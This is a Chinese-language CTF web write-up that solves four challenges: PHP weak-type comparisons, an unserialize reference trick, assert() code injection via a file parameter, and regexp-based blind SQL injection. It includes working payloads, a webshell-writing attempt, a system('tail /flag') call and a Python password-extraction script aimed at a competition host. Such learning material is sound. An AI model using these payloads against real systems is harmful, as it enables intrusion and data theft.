一步步慢慢绕

题目:

<?php
show_source(__FILE__);
$v1=0;$v2=0;$v3=0;
$a=(array)json_decode(@$_GET['foo']);
if(is_array($a)){
    is_numeric(@$a["bar1"])?die("nope"):NULL;
    if(@$a["bar1"]){
        ($a["bar1"]>2017)?$v1=1:NULL;
    }
    if(is_array(@$a["bar2"])){
        if(count($a["bar2"])!==5 OR !is_array($a["bar2"][0])) die("nope");
        $pos = array_search("uenit", $a["bar2"]);
        $pos===false?die("nope"):NULL;
        foreach($a["bar2"] as $key=>$val){
            $val==="uenit"?die("nope"):NULL;
        }
        $v2=1;
    }
}
$c=@$_GET['cat'];
$d=@$_GET['dog'];
if(@$c[1]){
    if(!strcmp($c[1],$d) && $c[1]!==$d){
        eregi("3|1|c",$d.$c[0])?die("nope"):NULL;
        strpos(($c[0].$d), "SeBaFi")?$v3=1:NULL;
    }
}
if($v1 && $v2 && $v3){
    include "flag.php";
    echo $flag;
}
?> 

第一步:

is_numeric(@$a["bar1"])?die("nope"):NULL;
if(@$a["bar1"]){
     ($a["bar1"]>2017)?$v1=1:NULL;
} 

这里用到了PHP弱类型的一个特性,当一个整形和一个其他类型行比较的时候,会先把其他类型intval再比,这里可以用2018alex来绕过。

第二步:

if(is_array(@$a["bar2"])){
    if(count($a["bar2"])!==5 OR !is_array($a["bar2"][0])) die("nope");
    $pos = array_search("uenit", $a["bar2"]);
    $pos===false?die("nope"):NULL;
    foreach($a["bar2"] as $key=>$val){
        $val==="uenit"?die("nope"):NULL;
    }
    $v2=1;
} 

这里要求$a[‘bar2’]是个长度为五,且第一个元素为数组的数组,
这里也利用了相同的原理,array_search 会使用’uenit’和array中的每个值作比较。而intval(‘uenit’)=0。所以只要数组里有个元素的值为0就能绕过。
测试代码:

$bar2=array(2,1,0);
var_dump(array_search("uenit", $bar2));

结果:

int(2) 

第三步:

$c=@$_GET['cat'];
$d=@$_GET['dog'];
if(@$c[1]){
    if(!strcmp($c[1],$d) && $c[1]!==$d){
        eregi("3|1|c",$d.$c[0])?die("nope"):NULL;
        strpos(($c[0].$d), "SeBaFi")?$v3=1:NULL;
    }
} 

这里用到array和string进行strcmp比较的时候会返回一个null,%00可以截断eregi
最终payload:

?foo={"bar1":"2018alex","bar2":[[1],1,2,0,5]}&cat[0]=0SeBaFi&cat[1][]=1&dog=%00

序列化

<?php
class SeBaFi
{
    var $name;
    var $password;
}

if (isset($_GET['login']))
{
    $login = $_GET['login'];
    if(get_magic_quotes_gpc())
    {
        $login=stripslashes($login);
    }
    $o=unserialize($login);
    if($o)
    {
        $o->name='*';
        if($o->name === $o->password)
        {
            echo "SeBaFi{".$o->name."}";
        }
        else
        {
            echo "wrong";
        }
    }
    else
    {
        echo "what are you doing";
    }
}
?>

对象包含的引用在序列化时也会被存储。
我们通过将name的引用赋值给password,这样就可以同步变化,绕过验证;
payload:

<?php
class SeBaFi
{
    var $name;
    var $password;
}
$a=new SeBaFi;
$a->name=&$a->password;
echo serialize($a);

文件包含

测试题目发现传参file。测试发现可能存在文件包含,通过php伪协议测试发现没反映。最终发现源代码

<?php
include('waf.php');
if (isset($_GET['file'])) {
    $file = $_GET['file'];
} else {
    $file = "home";
}
$file=str_replace("./","",$file);
$file=str_replace(".\\","",$file);
$para = "./" . $file . ".php";
assert("file_exists('$para')");

关键代码如上,我们发现最终文件并不是被包含的所以伪协议根本不行,最终是通过assert函数来执行文件,把文件显示出来,这里用到了代码执行,因为$para 参数我们部分可控,所以能够进行代码执行。最终payload:

// ') and print_r(fread(fopen('templates/flag.php','r'),filesize("templates/flag.php")));
// ') and print_r(fread(fopen('/flag','r'),filesize("/flag")));
//file_get_contents(),file_put_contents(filename, data)函数被过滤
fwrite(fopen("alex.php", "w"),"<?=$_POST[alex]);");//写码失败,函数被过滤
// aaaa') or system('tail /flag');//

sql

进入题目发现是一个登陆框
尝试登陆得到sql语句。

select username from user where username='alex' and passwd='alex'

开始尝试注入fuzz一下,发现过滤了

and,or,',select,like,空格,if,=,#,<,>,database,order,sleep,_,limit,for,having,where,char,by,substr

过滤的还挺多的,经过测试发现\可以转义单引号,%00可以转义第二个单引号,发现;没过滤,想到了堆叠注入,但是发现。。。=select,被过滤了,所以gg了。(比赛时,就这么菜)没想到注直接密码。(真垃圾)。
正确的姿势:
通过正则匹配,确定开头字符来匹配。

passwd传入 ||passwd/**/regexp/**/"^2";%00 这里^的意思时以什么开头%00转义后面的单引号
username传入 \   转义单引号

exp:

import string
import requests
import re
char_set = '0123456789abcdefghijklmnopqrstuvwxyz_'
pw = ''
while 1:
    for ch in char_set:
        url = 'http://39.106.94.18:13004/login.php?username=\\&passwd=||passwd/**/regexp/**/"^%s";%%00'
        r = requests.get(url=url%(pw+ch))
        # print url%(pw+ch)
        if 'Welcome admin' in r.text:
            pw += ch
            print pw
            break
    if ch == '_': break

即可得到密码:24b17417a1267d5cf8f016515df037c5

登陆后发现题坏了。。。(告辞)听说是命令执行。。。

  • i春秋2020新春战“疫”网络安全公益赛 web Writeup

    前言这次比赛题目质量挺好的,除啦环境可能有时候有点问题。(就让我遇到了。心态炸了一天。。。)其他都挺好的。 DAY1简单的招聘系统知识点:sql注入的联合注入或盲注存在注册和登陆功能,首先进行注册后登陆进系统,发现有一个模块是管理员才...

    i春秋2020新春战“疫”网络安全公益赛 web Writeup
  • 2019安洵杯+2019广外比赛web部分题解

    2019安洵杯easy_web知识点:MD5强碰撞,命令执行这个题比较简单,看题目发现传入参数img和cmd,然而图片是传入的img参数控制,让我想到ddctf的一道题,然后发现img是通过把文件名进行转十六进制后两次base64编码...

    2019安洵杯+2019广外比赛web部分题解
  • 2019极客大挑战RCE ME

    题目环境:http://114.116.44.23:40001/ 题目还是老样子。无字母数字rce。知识点其实都有写过,就不说了。详细参见:【RCE提高篇】题目源码: <?php ini_set("display_errors"...

    2019极客大挑战RCE ME
  • buuctf刷题记录(序)

    love math知识点:代码审计,绕waf直接给出源码: <?php error_reporting(0); //听说你很喜欢数学,不知道你是否爱它胜过爱flag if(!isset($_GET['c'])){ sho...

    buuctf刷题记录(序)
  • buuctf刷题记录

    前言最近感觉自己菜出来新境界。。。刷点题来证明我还存在。。。言归正传。开刷 hack world知识点:sql布尔盲注,bypass进入题目,发现这是典型的sql布尔盲注,题目给出了表名和列名都是flag,用burp进行fuzz测试发...

    buuctf刷题记录
  • OGeek CTF 2019-Enjoy You Self

    前言最近ctf不少,但是成绩不咋样,菜的真实。新学期开始了,最后一年了。。。继续努力吧。OPPO OGeek CTF 2019咋说呢,菜。。。总结一下学到的东西吧。 Enjoy You Self线上环境:http://47.107.2...

    OGeek CTF 2019-Enjoy You Self
  • 2018n1ctf-esay-php复现

    前言最近做题,两次遇见这个题。第一次看着writeup都没复现成功。emm(菜的真实。。。)。这次自己搭的环境用三种方法来复现这个题。 环境搭建官方给了环境,有dockerfile。所以比较容易搭建的。官方文件在docker上安装上d...

    2018n1ctf-esay-php复现
  • sql注入新姿势-2019强网杯

    前言woc前一段时间,写过一次,发现被我搞丢了,气死…重写ing 随便注首先,对题目进行测试尝试一下1'发现会得到报错,尝试一下万能密码1' or '1'='1,发现能够把当前表所有的值全部输出...

    sql注入新姿势-2019强网杯
  • ciscn线下部分题解

    前言ciscn华中赛区线下赛让我认识到自己是真的菜。。。总结一下这次比赛吧。 web1 <?php // ini_set("display_errors", "On"); // error_reporting(E_ALL | ...

    ciscn线下部分题解
  • 2019ddctfwriteup

    web滴~这是i春秋上的一个原题。(原题比这个好)进入页面发现观察jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09像是个base64编码。进行解码。解码两次得到666C61672E6A7067。像是个base1...

    2019ddctfwriteup